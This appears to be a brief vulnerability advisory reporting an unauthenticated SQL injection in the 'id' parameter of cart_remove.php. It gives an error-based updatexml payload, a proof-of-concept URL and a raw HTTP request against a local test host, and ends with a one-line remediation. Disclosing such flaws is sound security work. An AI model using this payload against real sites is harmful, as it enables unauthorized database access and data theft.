SQL Injection vulnerability via the "id" parameter in cart_remove.php

[khanhchauminh]

Author

KhanhCM (@khanhchauminh)

Version: 1.0

No login is required

• Example payload:

' or updatexml(1,concat(0x7e,(version())),0) -- a

Proof-of-concept

http://127.0.0.1:8888/cart_remove.php?id=5%27%20or%20updatexml%281%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20--%20a

HTTP request

GET /cart_remove.php?id=5%27%20or%20updatexml%281%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20--%20a HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8888/cart.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response in Burpsuite

Source code review

cart_remove.php

Remediation

Validate input of id parameter in cart_remove.php.